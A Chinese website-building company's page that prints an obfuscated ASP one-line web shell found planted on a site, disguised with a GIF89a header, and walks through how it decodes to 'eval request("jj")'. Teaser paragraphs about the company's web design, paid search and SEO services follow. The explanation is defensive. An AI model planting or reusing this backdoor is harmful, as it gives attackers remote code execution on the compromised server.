网站被放了一段代码:
gif89a<%
dim a,b,temp,c
a="eva@@l%20req@@uest%28%22jj%22%29"
b=replace(a,"@@","零")
c=split(b,"零")
for i=0 to ubound(c)
temp=temp+c(i)
next
execute(unescape(temp))
%>
解释如下:
dim a,b,temp,c 定义几个变量
a=eva@@l%20req@@uest%28%22jj%22%29 给字符a赋值
b=replace(a,"@@","零")
replace为用第三个表达式替换第一个字符串表达式中出现的所有第二个给定字符串表达式。
所以 b="eva零l%20req零uest%28%22jj%22%29"
c=split(b,"零") 把字符串b从零处分隔开来,并赋给变量c,
此时c为带下标的数组,包含了(eva l%20req uesq%28%22jj%22%29)三段字符
for i=0 to ubound(c)
temp=temp+c(i)
UBound 函数可返回指示数组维数的最大下标。
用循环语句吧数组中的字符连接起来赋值给temp
temp="eval%20request%28%22jj%22%29"
execute(unescape(temp))
先执行里面 unescape(temp)
unescape 对 String 对象编码以便它们能在所有计算机上可读,返回一个包含了 charstring 内容的字符串值( Unicode 格式)。所有空格、标点、重音符号以 及 其他非 ASCII 字符都用 %xx 编码代替,其中 xx 等于表示该字符的十六进制数。例如,空格返回的是 "%20 "
从html url编码表中得知:%20为空格 %28为左括号( %22为双引号 %29为右括号
所有 unescape(temp)="eval request ("jj")"
execute(unescape(temp))
execute为执行参数中指定的代码
石家庄网站建设的优点:我们是专属定制,制作符合您公司业务、风格的网站,这就做到给您制作的网站是网络上独一无二的网站,这样更有利于搜索引擎的收录。如果您喜欢网络上某个风格的网站或者网站模板,我们是只仿制而不直接套用,我们会对其中的结构和样式做增减优化,做…
竞价排名营销是一种通过 竞价购买搜索引擎中关键词或关键短语的广告方式。竞价排名营销分为两种类型。 第一种,直接为真正的搜索引擎结果的排名付费,也就是说付的钱越多,网页所获得的排名名也就越高。 第二种则更类似于普通的广告。这种竞价排名营销方式通过…
网站优化对网站来说是非常重要的,直接决定和影响着网站所起到的作用,以及在各个地方当中的排名。在进行seo优化的过程中,我们必须要坚持一定的原则,真正的把这些事情做得更好,才可以确保最终的结果,这对于我们来说是非常重要的事。 SEO优化主要分为8小步: …